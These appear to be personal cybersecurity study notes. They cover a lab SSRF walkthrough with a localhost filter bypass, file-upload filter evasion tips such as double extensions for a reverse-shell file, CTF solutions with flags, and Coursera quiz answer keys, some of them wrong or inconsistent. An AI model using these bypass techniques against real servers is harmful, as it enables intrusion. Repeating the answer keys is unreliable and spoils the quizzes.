   The message now changes to "Recv failure: Connection reset by peer" which suggests that port 22 is open but did not understand what was sent (this makes sense, as sending an HTTP request to an SSH server will not get you anywhere!)\
   \
   Enumerating open ports via SSRF can be performed in this manner, by iterating over common ports and measuring the differences between responses. Even in cases where error messages aren't returned, it is often possible to detect which ports are open vs closed by measuring the time each request takes to complete.<br>
6. Another thing we can try to do with SSRF is access services running locally on the server. We can do this by replacing the list.hohoho hostname with "localhost" or "127.0.0.1" (among others). Try this now: <http://10.10.66.174/?proxy=http%3A%2F%2Flocalhost>\
   \
   Oops! It looks like the developer has a check in place for this, as the message returned says "Your search has been blocked by our security team."\
   \
   Indeed, if you try other hostnames (e.g. 127.0.0.1, example.com, etc.) they will all be blocked. The developer has implemented a check to ensure that the hostname provided starts with "list.hohoho", and will block any hostnames that don't.<br>
7. As it turns out, this check can easily be bypassed. Since the hostname simply needs to start with "list.hohoho", we can take advantage of DNS subdomains and create our own domain "list.hohoho.evilsite.com" which resolves to 127.0.0.1. In fact, we don't even need to buy a domain or configure the DNS, because multiple domains already exist that let us do this. The one we will be using is localtest.me, which resolves every subdomain to 127.0.0.1.\
   \
   We can therefore set the hostname in the URL to "list.hohoho.localtest.me", bypass the check, and access local services: <http://10.10.66.174/?proxy=http%3A%2F%2Flist.hohoho.localtest.me>\
   \
   Success! It appears that there is a web server running locally, and it has a message from Elf McSkidy that contains some sensitive information we can use!


# Intro to CTF

CTFs are jeopardy-style competitions that cover a host of cybersecurity topics. TrailOfBits has a [great field guide](https://trailofbits.github.io/ctf/). For any newbies, I recommend OverTheWire.org's Bandit and then going through picoCTF challenges that have writeups.


# Forensics

## File Categorization

### File Extension

There will be challenges that involve a file upload that checks the extension of the file based on some form of RegEx (e.g. with some `substr()` , `strpos()` ,`preg_match()`).&#x20;

* If the validator is just looking for the name to include `.pdf` then you can use double extensions, like `reverse_shell.pdf.php`.&#x20;
* You can use Burp Suite's Intruder on Sniper mode with a wordlist of extensions to check what extensions are allowed, e.g. `.php`, `.php2`, `.php3`, `.php4`, `.php5`,`.php6`, `.php7`,  `.phtm`, `.phtml`, `.phps`, `.php-s`, `.pht`, `.phar`.

### Media Type

Some servers will trust the `Content-Type` specified by the user, e.g.:

```php
<?php
$mime = $_SERVER["CONTENT_TYPE"];
if (strcasecmp($mime, "image/png") == 0){
    echo "photo"
} else {
    echo "not a photo"
}
```

```bash
$ curl 127.0.0.1:80/upload.php
not a photo%
$ curl 127.0.0.1:80/upload.php -H "Content-Type: image/png"
photo%
```

You can also change the `Content-Type` in Burp.

### Structure

![PNG Structure](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MEy7Yl7cl0TA7Pu40dQ%2F-MEy8M3YTwB4J3W-BveP%2Fimage.png?alt=media\&token=1c91ca5e-7319-454c-9d4f-818c7d4fdc07)

If the server is checking the structure of the file, consider Polyglot files ([link](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)). Polyglots, in a security context, are files that are a valid form of multiple different file types. For example, a [GIFAR](https://en.wikipedia.org/wiki/Gifar) is both a GIF and a RAR file. There are also files out there that can be both GIF and JS, both PPT and JS, etc. Most famous one is PHAR-JPG ([link](https://github.com/kunte0/phar-jpg-polyglot)).<br>

### Magic Bytes

File starting with specific leading bytes will usually be read as that type of file by utilities.

&#x20;A file might be corrupted. Use a hex editor `xd filename.png|head` and you may be able to guess the actual filetype from the contents (e.g. `IDAT` means PNG) and change the leading bytes to recover it.

{% embed url="<https://en.wikipedia.org/wiki/List_of_file_signatures>" %}

### Known-plaintext attack ([link](https://en.wikipedia.org/wiki/Known-plaintext_attack))

If you have an encrypted file of a known type. If you XOR the encrypted file with the known magic bytes, you can potentially recover a key. Then, XOR the encrypted file with the key to decrypt and recover the image.

## Binwalk

```
$ binwalk --dd='.*' <file to extract>
```

## Field Guide

{% embed url="<https://trailofbits.github.io/ctf/forensics/>" %}

## Windows

{% embed url="<https://blog.cyberhacktics.com/memory-forensics-on-windows-10-with-volatility/>" %}

{% embed url="<https://blog.cyberhacktics.com/carving-files-from-memory-with-volatility/>" %}

{% embed url="<https://www.nirsoft.net/utils/win_prefetch_view.html>" %}


# Challenges

#### Allergic College Application

Description: I was writing my common app essay in Mandarin when my cat got on my lap and sneezed. Being allergic, I sneezed with him, and when I blew my nose into a tissue, the text for my essay turned really weird! Get out, Bad Kitty!

```
$ python3
>>> f = open ('app', encoding='gb2312').readlines()
>>> f
end of output: {我_只_修改_了_两_次}
OR
cat app | iconv -f GBK -t UTF-8

rtcp{我_只_修改_了_两_次}
```

#### BTS-Crazed

Description: My friend made this cool remix, and it's pretty good, but everyone says there's a deeper meaning in the music. To be honest, I can't really tell - the second drop's 808s are just too epic. [https://github.com/JEF1056/riceteacatpanda/raw/master/BTS-Crazed (75)/Save Me.mp3](https://github.com/JEF1056/riceteacatpanda/raw/master/BTS-Crazed%20\(75\)/Save%20Me.mp3)

```
$ strings Save\ Me.mp3 | grep -oE "rtcp{.*}"
rtcp{j^cks0n_3ats_r1c3}
```

#### cat-chat

Description: nyameowmeow nyameow nyanya meow purr nyameowmeow nyameow nyanya meow purr nyameowmeow nyanyanyanya nyameow meow purr meow nyanyanyanya nya purr nyanyanyanya nya meownyameownya meownyameow purr nyanya nyanyanya purr meowmeownya meowmeowmeow nyanya meownya meowmeownya purr meowmeowmeow meownya purr nyanyanyanya nya nyameownya nya !!!!&#x20;

nya and meow are repeated a lot together, trial and error led to nya being . and meow being -\
I tested and wrote a sed command to parse cat-chat into morse which I saved into meow\_to\_morse.sh: sed 's/nya/./g;s/meow/-/g;s/purr//g'\
\
I downloaded a morse decoder from git.<br>

```
git clone https://github.com/mk12/morse.git
 /opt/morse
cd $_
make
ln -s /opt/morse/bin/morse ~/bin/morse
```

I also copied all the chat from the discord channel into the file `meows.txt`.

```
$ cat meows.txt | ./meow_to_morse.sh | morse -d | grep RTCP | sed 's/?/_/g' #output is in all caps
RTCP:TH15_1Z_A_C4T_CH4T_N0T_A_M3M3_CH4T

rtcp{TH15_1Z_A_C4T_CH4T_N0T_A_M3M3_CH4T}
```

#### catch-at

Description: 636274425917865984\
Navigate to <https://discordapp.com/channels/624036526157987851/633364891616411667/636274425917865984>\
Copy output from message at the id 636274425917865984:

```
$ echo "meowmeowmeow nyanyanyanya purr meownyanyanya meownyameowmeow purr meow nyanyanyanya nya purr nyameowmeow nyameow meownyameowmeow meowmeownyanyameowmeow purr nyanyanyanya nya nyameownya nya nyameowmeowmeowmeownya nyanyanya purr nyameow purr nyameownyanya nyanya meow meow nyameownyanya nya purr nyanyanya meowmeowmeow meowmeow nya meow nyanyanyanya nyanya meownya meowmeownya meowmeowmeownyanyanya purr nyameowmeow meowmeowmeowmeowmeow nyameowmeow nyanyameowmeownyameow meownyanya nyameowmeowmeowmeow nyanyanyanyanya meownyameownya meowmeowmeowmeowmeow nyameownya meownyanya nyanyameowmeownyameow nyanyanyanya nyanyanyanyameow nyanyanya nyanyameowmeownyameow nyanyanya nyanyanyameowmeow nyanyanyanyameow nyameownya meownyameownya nyanyanyanya nyanyameowmeownyameow nyanyameownya nyanyanyameowmeow nyanyanyanyameow meow nyanyameow nyameownya nyanyanyameowmeow nyanyanyanyanya" | ./meow_to_morse.sh | morse -d | sed 's/?/_/g'
OHBYTHEWAY,HERE'SALITTLESOMETHING:W0W_D15C0RD_H4S_S34RCH_F34TUR35

rtcp{W0W_D15C0RD_H4S_S34RCH_F34TUR35}
```

#### Chugalug's Footpads

Description: Chugalug makes footpads that he can chug and lug. However, his left one is different from his right... I wonder why?

```
$ xxd -c1 left.jpg > l && xxd -c1 right.jpg > r
$ grep -Fxvf r l | cut -d " " -f4 | tr -d "\n"
rtcp{Th3ze_^r3_n0TcH4nC1a5}
```

#### BASmati ricE 64

Description: There's a flag in that bowl somewhere... Replace all zs with \_ in your flag and wrap in rtcp{...}.

```
$ steghide extract -sf rice.jpg -xf extracted.txt
$ cat extracted.txt | base64 | sed 's/z/_/g' s0m3t1m35_th1ng5_Ar3_3nc0D3d
rtcp{s0m3t1m35_th1ng5_Ar3_3nc0D3d}
```


# Steganography

<https://pequalsnp-team.github.io/cheatsheet/steganography-101>

Image forensics as in you get a jpg or png as challenge? Usually you have to learn a bit about image formats.

If yes, here is my list of default things to do.

\- First: Look at the image. Maybe it tells you something important.

\- Use binwalk to check for other file type signatures in the image file.

\- Use Exiftool to check for any interesting exif-metadata.

\- Use stegsolve and switch through the layers and look for abnormalities.

Maybe the Flag is painted in the LSB image, or some QR-Code.

Maybe there are random pixels that look strange in a certain layer, that's a hint for Bit-Stego.

\- Use zsteg to automatically test the most common bitstegos and sort by %ascii-in-results. (This one auto-solves about 50% of all image stego challenges)

\- If the file is a png, you can check if the IDAT chunks are all correct and correctly ordered.

\- Check with the strings tool for parts of the flag. If you found for example "CTF{W" in a chunk, check what is on that position in other IDAT chunks.

The harder ones can be a lot more tricky though.. JPG coefficiency manipulation, Frequency analysis, ...

But usually those are frowned upon, because they require a lot of guessing (if no hiding tool is provided)<br>

Also DIIT: diit.sourceforge.net


# Reverse Engineering

{% embed url="<https://www.jamieweb.net/blog/radare2-cutter-part-2-analysing-a-basic-program/>" %}

{% embed url="<https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-1/>" %}

{% embed url="<https://people.eecs.berkeley.edu/~dawnsong/papers/Oakland13-SoK-CR.pdf>" %}


# Tools

## Crypto

**Vigenère** cipher solver - <https://f00l.de/hacking/vigenere.php>

Frequency Analysis - <https://f00l.de/hacking/freq_analysis.php>

Wordlist Generator - <https://f00l.de/hacking/wordlist_generator.php>

MD5 decrpyt - <https://www.md5online.org/md5-decrypt.html>

## Network

PCAP file fixer - <https://f00l.de/hacking/pcapfix.php>

## Steganography

File Type Revealer (online binwalk) - <https://f00l.de/hacking/reveal.php>

## Exploit

embed code from a binary for usage in a c-program or perl-script - <https://f00l.de/hacking/bin2code.php>

pwntools for writing Python scripts:

```
pwntools: python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev3
```


# Courses


# Sec+

## Free Resources

The LinkedIn Learning course is good for those with some familiarity already. It is also has a free trial that lasts a month!

{% embed url="<https://www.linkedin.com/learning/paths/become-a-comptia-security-plus-certified-security-professional>" %}

Irvin Lemus has many free courses including one for Sec+. Links: [ALL COURSES](https://www.infosecirvin.info/class.html) | [Sec+](https://canvas.instructure.com/enroll/ECNBNJ)

## Key Terms

{% embed url="<https://docs.google.com/document/d/1zc4FnUUX4w0ODzEzeJzRMkEOTF1dcaaF5WiseF6TEVY/edit?usp=sharing>" %}


# IBM Cybersecurity Analyst Professional Certificate

Coursera Courses | Note: These courses have a lot of spelling errors.

## Introduction to Cybersecurity Tools & Cyber Attacks

* Which of the following statements is True?
  * Passive attacks are easy to detect because of the latency created by the interception and second forwarding.

    Passive attacks are hard to detect because the original message is never delivered so the receiving does not know they missed anything.

    **Passive attacks are hard to detect because the original message is delivered unchanged and can pass an integrity check.**

    Passive attacks are easy to detect because the original message wrapper must be modified by the attacker before it is forwarded on to the intended recipient.
* The purpose of security services includes which three (3) of the following?
  * **Are intended to counter security attacks.**

    **Enhance security of data processing systems and information transfer.**

    **Often replicate functions found in physical documents**

    Includes any component of your security infrastructure that has been outsourced to a third-party
* Which statement best describes access control?
  * Protection against denial by one of the parties in communication

    Protection against the unauthorized disclosure of data

    Assurance that the communicating entity is the one claimed

    **Prevention of unauthorized use of a resource**
* The International Telecommunication Union (ITU) X.800 standard addresses which three (3) of the following topics?
  * Transmission cost sharing between member countries

    Data transmission speeds

    **Authentication**

    **Access Control**

    **Data Confidentiality**
* Protocol suppression, ID and authentication are examples of which?
  * Security Architecture

    **Security Mechanism**

    Business Policy

    Security Policy
* The motivation for more security in open systems is driven by which three (3) of the following factors?
  * New requirements from the WTO, World Trade Organization

    **The appearence\[sic] of data protection legislation in several countries.**

    **The desire by a number of organizations to use OSI recommendations.**

    **Society's increasing dependance\[sic] on computers**.
* True or False: The accidental disclosure of confidential data by an employee is considered a legitimate organizational threat.
  * True
* True or False: The accidental disclosure of confidential information by an employee is considered an attack.
  * True
* A replay attack and a denial of service attack are examples of which?
  * **Security architecture attack**

    Passive attack

    Masquerade attack

    Origin attack
* True or False: An application that runs on your computer without your authorization but does no damage to the system is not considered malware.
  * False
* How would you classify a piece of malicious code designed to cause damage, can self-replicate and spreads from one computer to another by attaching itself to files?
  * Worm
* How would you classify a piece of malicious code designed to cause damage and spreads from one computer to another by attaching itself to files but requires human actions in order to replicate?
  * Virus
* How would you classify a piece of malicious code designed collect data about a computer and its users and then report that back to a malicious actor?
  * Spyware
* A large scale Denial of Service attack usually relies upon which of the following?
  * A botnet
* Antivirus software can be classified as which form of threat control?
  * Technical controls
* Which of the following measures can be used to counter a mapping attack?
  * Record traffic entering the network

    Look for suspicious activity like IP addresses or ports being scanned sequentially.

    Use a host scanner and keep an inventory of hosts on your network.

    **All of the above.**
* In order for a network card (NIC) to engage in packet sniffing, it must be running in which mode?
  * Promiscuous mode
* Which countermeasure can be helpful in combating an IP Spoofing attack?
  * **Ingress filtering**

    Enable IP Packet Authentication filtering

    Keep your certificates up-to-date

    Enable the IP Spoofing feature available in most commercial antivirus software.

    All of the above.
* Which two (2) measures can be used to counter a Denial of Service (DOS) attack?
  * Enable the DOS Filtering option now available on most routers and switches.

    **Implement a filter to remove flooded packets before they reach the host.**

    **Use traceback to identify the source of the flooded packets.**

    Enable packet filtering on your firewall.
* Which countermeasure should be used against a host insertion attack?
  * Maintain an accurate inventory of of computer hosts by MAC address.

    Use a host scanning tool to match a list of discovered hosts against known hosts.

    Investigate newly discovered hosts.

    **All of the above.**
* Which is **not** one of the phases of the intrusion kill chain?
  \*  Installation

  ```
  **Activation**

  Command and Control

  Delivery
  ```
* Which social engineering attack involves a person instead of a system such as an email server?
  * **Vishing**

    Spectra

    Phishing

    Cyberwarfare
* Which of the following is an example of a social engineering attack?
  * Logging in to the Army's missle\[sic] command computer and launching a nuclear weapon.

    **Calling an employee and telling him you are from IT support and must observe him logging into his corporate account.**

    Setting up a web site offering free games, but infecting the downloads with malware.

    Sending someone an email with a Trojan Horse attachment.
* True or False: While many countries are preparing their military for a future cyberwar, there have been no "cyber battles" to-date.
  * False
* Which tool did Javier say was crucial to his work as a SOC analyst?
  * SIEM (Security Information and Event Management): Tools like QRadar SIEM are crucial to Javier since he can use it to perform advanced corrolations and threat intelligence integration.
* Which hacker organization hacked into the Democratic National Convension\[sic] and released Hillery\[sic] Clinton's emails?
  * Fancy Bears\[sic]
* What challenges are expected in the future?
  * Enhanced espionage from more countries

    Far more advanced malware

    New consumer technology to exploit
* Why are cyber attacks using SWIFT so dangerous?
  * **Cyber attacks using SWIFT are so dangerous as the protocol used by all banks to transfer money which risks confidential customer data**

    **Explanation:**

    * SWIFT used by banking institutions, where the **entire banking operation is connected to a messaging network** with the help of data which originally aimed at **making communications between banks easier.**
    * Although the Government had taken various measures to prevent Cyber attacks are **common occurrences that steal customer data and fetch money** from their account. &#x20;
    * Hence, SWIFT, which relies on the **internet and networking might backfire and be a major threat to the people.**
* Which statement best describes Authentication?
  * Assurance that a resource can be accessed and used
  * **Assurance that the communicating entity is the one claimed**
  * Protection against denial by one of the parties in communication
  * Prevention of unauthorized use of a resource
* Trusted functionality, security labels, event detection, security audit trails and security recovery are all examples of which type of security mechanism?
  * Contingent security mechanism

    Active security mechanism

    External security mechanism

    **Passive security mechanism**
* If an organization responds to an intentional threat, that threat is now classified as what?
  * **An attack**

    -An active threat

    A malicious threat

    An open case
* An attack that is developed particularly for a specific customer and occurs over a long period of time is a form of what type of attack?
  * -Water Hole

    **Advanced Persistent Threat**

    Spectra

    Denial of Service (DOS)
* Which of three (3) these approaches could be used by hackers as part of a Business Email Compromise attack?
  * **Account compromise**

    **Attorney impersonation**

    Request to make a payment

    **CEO Fraud, where CEO sends email to an employee**
* Which type of actor was **not** one of the four types of actors mentioned in the video *A brief overview of types of actors and their motives?*
  * Black Hats
* A political motivation is often attributed to which type of actor?
  * Hacktivist
* Which type of actor hacked the 2016 US Presidential Elections?
  * Government
* True or **False**: Passive attacks are easy to detect because the original messages are usually alterned or undelivered.
* Cryptography, digital signatures, access controls and routing controls considered which?
  * -Pervasive security mechanisms
  * security policy
* Which type of attack can be addressed using a switched Ethernet gateway and software on every host on your network that makes sure their NICs is not running in promiscuous mode.
  * Packet Sniffing
* True or **False**: An individual hacks into a military computer and uses it to launch an attack on a target he personally dislikes. This is considered an act of cyberwarfare.
* True or **False**: A tornado threatening a data center can be classified as an attack.
* Traffic flow analysis is classified as which?
  * Passive attack
* Botnets can be used to orchestrate which form of attack?
  * Distribution of Spam

    -DDoS attacks

    Phishing attacks

    Distribution of Spyware

    As a Malware launchpad

    All of the above
* Policies and training can be classified as which form of threat control?
  * -Administrative controls
  * Passive Controls
* Encrypting your email is an example of addressing which aspect of the CIA Triad?
  * **Confidentiality**

    Integrity

    Availability
* Trudy changes the meeting time in a message she intercepts from Alice before she forwards it on to Bob. This is a violation of which aspect of the CIA Triad?
  * Confidentiality

    **Integrity**

    Availability
* You fail to backup your files and then drop your laptop breaking it into many small pieces. You have just failed to address which aspect of the CIA Triad?
  * Confidentiality

    Integrity

    **Availability**
* The use of digital signatures is an example of which concept?
  * **Non-repudiation**

    Confidentiality

    Integrity

    Availability
* Managers in the Singapore office at your company can access documents that managers in other offices cannot access, nor can nonmanager employees in the Singapore office. Which 2 access criterial types were likely involved in setting this up?
  * Groups: Managers would be in a managers group.

    Timeframe

    Transaction type

    Physical location: Location is used as an access control factor.
* In incident management, an event that has a negative impact on some aspect of the network or data is called what?
  * Event

    Attack

    **Incident: an event with impact**

    Threat
* In incident management, *a data inventory*, *data classification* and *data management process* are part of which key concept?
  * Automated system

    Business Continuity Plan & Disaster Recovery

    **E-Discovery:** It is crucial to have an automated inventory of systems and data so you can know if anything changes or does not belong.

    Post-Incident Activities
* Which of the phase of the Incident Response Process do steps like Identify cyber security incident, Define objectives and investigate situation and Take appropriate action fall into?
  * Phase 1: Prepare

    **Phase 2: Respond**

    Phase 3: Follow Up]
* In the context of security standards and compliance, which two (2) of these items are goals of frameworks and best practices?
  * **They seek to improve performance, controls and metrics.**

    They are rules to follow for a specific industry.

    They serve as an enforcement mechanism for government, industry or clients.

    **They help translate the business needs into technical or operational needs.**
* A company document that says employees may not do online shopping while at work would be which of the following?
  * Strategic Plan

    Tactical Plan

    Procedure

    **Policy**
* Which three (3) of these are compliance standards that must be adhered to by companies is some industries / countries?
  * **HIPAA**

    **PCI/DSS**

    OCTAVE

    **SOX**
* A method of evaluating computer and network security by simulating an attack on a computer system or network from external or internal threats is know as which of the following?
  * A threat

    A white hat

    A hack

    **A pentest**
* The OWASP “Top 10” provides guidance on what?
  * The top 10 malware exploits reported each year.

    The top 10 network vulnerabilities reported each year.

    The top 10 cybercrimes reported each year.

    **The top 10 application vulnerabilities reported each year.**
* Which two (2) key components are part of incident response? (Select 2)
  * **Response team**

    Threat

    **Investigation**

    Attack
* Which is **not** part of the Sans Institutes Audit process?
  * Deliver a report.

    Define the audit scope and limitations.

    **Help to translate the business needs into technical or operational needs.**

    Feedback based on the findings.
* Which key concept to understand incident response is defined as "*data inventory, helps to understand the current tech status, data classification, data management, we could use automated systems. Understand how you control data retention and backup."*
  * E-Discovery
* Which is not included as part of the IT Governance process?
  * Tactical Plans

    Procedures

    **Audits**

    Policies
* A hash is a mathematical algorithm that helps assure which aspect of the CIA Triad?
  * Integrity
* A successful DOS attack against your company’s servers is a violation of which aspect of the CIA Triad?
  * Availability
* Which of these is an example of the concept of non-repudiation?
  * Alice sends a message to Bob with certainty that it was not altered while in route by Trudy.

    Alice sends a message to Bob with certainty that it will be delivered.

    **Alice sends a message to Bob and Bob knows for a certainty that it came from Alice and no one else.**

    Alice sends a message to Bob and Alice is certain that it was not read by Trudy.
* You have been asked to establish access to corporate documents in such a way that they can be read from anywhere, but only modified while the employees are in the office. Which 2 access criteria types were likely involved in setting this up?
  * Groups

    **Physical location**

    **Transaction type**

    Timeframe
* In incident management, an observed change to the normal behavior of a system, environment or process is called what?
  * Event
* In incident management, tools like SIEM, SOA and UBA are part of which key concept?
  * **Automated system**

    BCP & Disaster Recovery

    Post-Incident Activities

    E-Discovery
* Which phase of the Incident Response Process do steps like *Carry out a post incident review* and *Communicate and build on lessons learned* fall into?
  * Respond

    **Follow Up**

    Prepare
* In the context of security standards and compliance, which two (2) of these are considered normative and compliance items?
  * They seek to improve performance, controls and metrics.

    **They are rules to follow for a specific industry.**

    They help translate the business needs into technical or operational needs.

    **They serve as an enforcement mechanism for government, industry or clients.**
* A company document that details how an employee should request Internet access for her computer would be which of the following?
  * **Procedure**

    Strategic Plan

    Policy

    Tactical Plan
* Which of these is a methodology by which to conduct audits?
  * SOX

    HIPAA

    PCI/DSS

    **OCTAVE**
* Mile 2 CPTE Training teaches you how to do what?
  * **Conduct a pentest.**

    Advanced network management tasks

    Conduct a Ransomware attack

    Construct a botnet
* Which three (3) statements about OWASP are True?
  * **OWASP stands for Open Web Application Security Project**

    **OWASP provides tools and guidance for mobile applications.**

    OWASP Top 10 only lists the top 10 web application vulnerabilities but you must engage an OWASP certified partner to learn how to fix them.

    **OWASP provides guidance and tools to help you address web application vulnerabilities on their Top 10 list.**
* Firewalls contribute to the security of your network in which three (3) ways?
  * **Prevent unauthorized modifications to internal data from an outside actor.**

    **Allow only authorized access to inside the network.**

    Prevent an internal user from downloading data she is not authorized to access.

    **Prevent Denial of Service (DOS) attacks.**
* Which packets are selected for inspection by a packet filtering firewall?
  * **Every packet entering or leaving a network.**

    The first packet of every transmission but only subsequent packets when “high risk” protocols are used.

    Every packet entering the network but no packets leaving the network.

    The first packet in any transmission, whether entering or leaving.
* **True** or False: Application Gateways are an effective way to control which individuals can establish telnet connections through the gateway.
* Why are XML gateways used?
  * XML packet headers are different from that of other protocols and often “confuse” conventional firewalls.

    Conventional firewalls attempt to execute XML code as instructions to the firewall.

    XML traffic cannot pass through a conventional firewall.

    **XML traffic passes through conventional firewalls without inspection.**
* Which three (3) things are True about Stateless firewalls?
  * **They filter packets based upon Layer 3 and 4 information only (IP address and Port number)**

    **They are faster than Stateful firewalls.**

    They maintain tables that allow them to compare current packets with previous packets.

    **They are also known as packet-filtering firewalls.**
* True or **False**: Most Antivirus/Antimalware software works by comparing each file encountered on your system against a compressed (zipped) version of known malware maintained by the vendor on the local host.
* How many unique encryption keys are required for 2 people to exchange a series of messages using asymmetric public key cryptography?
  * 4
* What is Cryptographic Strength?
  * Relies on math, not secrecy

    Ciphers that have stood the test of time are public algorithms.

    Exclusive Or (XOR) is the “secret sauce” behind modern encryption.

    **All of the above.**
* What is the primary difference between Symmetric and Asymmetric encryption?
  * The same key is used to both encrypt and decrypt the message.
* Which type of cryptographic attack is characterized by an attack based upon trial an error where many millions of keys may be attempted in order to break the encrypted message?
  * brute-force
* What is the correct sequence of steps required for Alice to send a message to Bob using asymmetric encryption?
  * Alice requests Bob’s public key and uses it to encrypt her message. Alice then sends the encrypted message to Bob who decrypts it using his private key.
* A skilled penetration tester wants to show her employer how smart she is in hopes of getting a promotion. Without obtaining permission, she hacks into the company’s new online store to see if there are any weaknesses that can be hardened before the system goes live. She does not do any damage and writes a useful report which she sends over her boss’s head to the CISO. What color hat was she wearing?
  * A White Hat

    **A Gray Hat**

    A Black Hat

    A Pink Hat

    A Rainbow Hat
* Which three (3) are resources that are available to help guide penetration testing efforts by cybersecurity specialists?
  * General Data Protection Regulation (GDPR)

    **Open Source Security Testing Methodology Manual (OSSTMM).**

    **NIST SP 800-42 Guidelines on Network Security Testing.**

    **Information Systems Security Assessment Framework (ISSAF)**
* According to the Vulnerability Assessment Methodology, Potential Impacts are determined by which 2 factors?
  * Identify Indicators and Exposure

    **Exposure and Sensitivity**

    Potential Impacts and Adaptive Capacity

    Sensitivity and Adaptive Capacity
* In digital forensics, the term Chain of Custody refers to what?
  * This is a digital “chain” that isolated digital evidence from being disturbed until it can be analyzed by the police or other authorities.

    This is a physical chain that is place around a crime scene to protect the evidence from being disturbed.

    **The record that documents the sequence of custody, control, transfer, analysis, and disposition of physical or electronic evidence.**

    This chain of custody is simply a written record of who possessed the evidence as it moves from collection to analysis to presentation in a court of law.
* What is the primary function of a firewall?
  * Scans the system and search for matches against the malware definitions.

    Secures communication that may be understood by the intended recipient only.

    **Filter traffic between networks.**

    Uses malware definitions.
* What is Locard's exchange principle?
  * The perpetrator of a crime will bring something into the crime scene and leave with something from it, and that both can be used as forensic evidence.
* Which two (2) are types of firewall?
  * Protocol-filtering

    **Packet-filtering**

    Statutory

    **Application-level**
* Which type of data does a packet-filtering firewall inspect when it decides whether to forward or drop a packet?
  * Source and destination IP addresses.

    TCP/UDP source and destination port numbers.

    ICMP message type.

    TCP SYN and ACK bits.

    **All of the above.**
* Which three (3) of the following are limitations of Application gateways?
  * **Application gateways are susceptible to IP spoofing.**

    **Each application to be managed needs its own gateway.**

    **Client software must be “smart” and know to contact the gateway.**

    Application gateways are not good and understanding protocols such as telnet.
* Which type of firewall inspects XML packet payloads for things like executable code, a target IP address that make sense, and a known source IP address?
  * **An XML Gateway.**

    An application-level firewal&#x6C;**.**

    A packet-filtering firewall.

    All of the above.
* Which statement about Stateful firewalls is True?
  * **They have state tables that allow them to compare current packets with previous packets.**

    They are less secure in general than Stateless firewalls.

    They are faster than Stateless firewalls.

    All of the above.
* **True** or False: Most Antivirus/Antimalware software works by comparing a hash of every file encountered on your system against a table of hashes of known virus and malware previously made by the antivirus/antimalware vendor.
* Which type of cryptographic attack is characterized by comparing a captured hashed password against a table of many millions of previously hashed words or strings?
  * Social Engineering

    Brute force

    **Rainbow Tables**

    Known Plaintext

    Known Ciphertext
* What are two (2) drawbacks to using symmetric key encryption?
  * A modern supercomputer can break even the most advanced symmetric key in a matter of minutes.

    The sender and recipient must find a secure way to share the key itself.

    Symmetric key encryption is slower than asymmetric key encryption.

    You need to use a different encryption key with everyone you communicate with, otherwise anyone who has ever received an encrypted message from you could open any message you sent to anyone else using that key.

## Cybersecurity Roles, Processes & Operating System Security

* The statement: “*The protection of computer systems from theft or damage to the hardware, software or information on them, as well as from disruption or misdirection of the services they provide.*” Is a good definition for what?
  * IT Security
* When looking at security standard and compliance, which three (3) are characteristics of best practices, baselines and frameworks?
  * They are rules to follow for a specific industry.

    **They seek to improve performance, controls and metrics.**

    They enforce government, industry or client regulations.

    **They are used to improved controls, methodologies and governance for the IT department.**

    **They help translate the business needs into technical or operational needs.**
* Which three (3) of these roles would likely exist in an Information Security organization?
  * Regional Sales Executive

    Product Development Manager

    **CISO, Chief Information Security Officer**

    **Vulnerability Assessor**

    Director of Human Resources

    **Information Security Architect**
* In the video *Introduction to Process,* which three (3) items were called out as critical to the success of a Security Operations Center (SOC)?
  * **People**

    **Process**

    **Tools**

    Uninterruptible Power Supplies for all critical systems.

    Bandwidth

    Faraday Cages
* Process performance metrics typically measure items in which four (4) categories?
  * **Rework**

    Parts Inventory on hand

    Backlog of pending orders

    **Quality (defect rate)**

    Injuries

    **Cost**

    **Cycle time**
* Service Portfolio Management, Financial Management, Demand Management and Business Relationship Management belong to which ITIL Service Lifecycle Phase?
  * Service Design

    Service Improvement

    Service Operations

    **Service Strategy**

    Service Transition
* *Log, Assign, Track, Categorize, Prioritize, Resolve* and *Close* are all steps in which ITIL process?
  * Change Management

    Problem Management

    **Incident Management**

    Event Management
* What critical item is noted when discussing process roles?
  * Separation of duties is critical; the approver should not be the requester.
* Service Operations: Event Management, Incident Management, Problem Management
* Service Design: Service Catalogue Management, Service Level Management, InfoSec Management, Supplier Management
* The process in ITIL where changes are released to an IT environment is called what?
  * Release Management
* Which two (2) processes are operational processes? (Select 2)
  * **Change Management**

    **Incident Management**

    Availability Management

    Financial Management
* Which two (2) of these are considered best practices? (Select 2)
  * **ITIL**

    **Project Manager methodologies**

    HIPAA

    SOX
* Which service management process has the responsibility of understanding the root cause of a problem?
  * **Problem Management**

    Change Management

    Incident Management

    Configuration Management
* In the video *What is IT Security*, Elio Sanabria Echeverria put forth a definition that included which factors?
  * The protection of computer hardware.

    The protection of computer software.

    The protection of data.

    The disruption or misdirection of services provided by your systems.

    **All of the above.**
* This description belongs to which information security role? *“This position is in charge of testing the effectiveness of computer information systems, including the security of the systems and reports their findings.”*
  * Information Security Auditor
* Which of these statements more accurately conveys what was stated in the video *Introduction to Process*?
  * **As volumes of security alerts and false positives grow, more burden is placed upon Security Analysts & Incident Response teams.**

    Solid and well documented security processes are making the role of the security analyst increasingly obsolete.

    As security monitoring and analysis tools advance and incorporate artificial intelligence, Information Security organizations are challenged to find new work for underutilized security analysts.
* Continual Process Improvement consists of which four (4) items? (Select 4)
  * **Financial performance**

    **Maturity Assessments**

    **Customer Feedback**

    **Process Metrics**

    Focus Group studies

    Market Research

    Legal Review
* Event Management, Incident Management, and Problem Management belong to which ITIL Service Lifecycle Phase?
  * Service Transition

    Service Improvement

    Service Design

    Service Strategy

    **Service Operations**
* Maintaining Information Security Policy (ISP) and specific security policies that address each aspect of strategy, objectives and regulations is the part of which ITIL process?
  * Problem Management

    Change Management

    Service Level Management

    **Information Security Management**
* Which aspect of the CIA Triad would cover preserving authorized restrictions on information access and disclosure?
  * Confidentiality
* A message that Bob receives from Alice is genuine and can be verified as such demonstrates which key property?
  * Authenticity
* &#x20;Which is the correct order for gaining access to a resource?
  * Authentication Identification, Authorization, Accountability

    **Identification, Authentication, Authorization, Accountability**

    Identification, Authorization, Authentication, Accountability

    Accountability, Identification, Authentication, Authorization
* Which type of method would include something you know, such as a password?
  * Accountability

    **Authentication: something you know, something you have, something you are**

    Identification

    Authorization
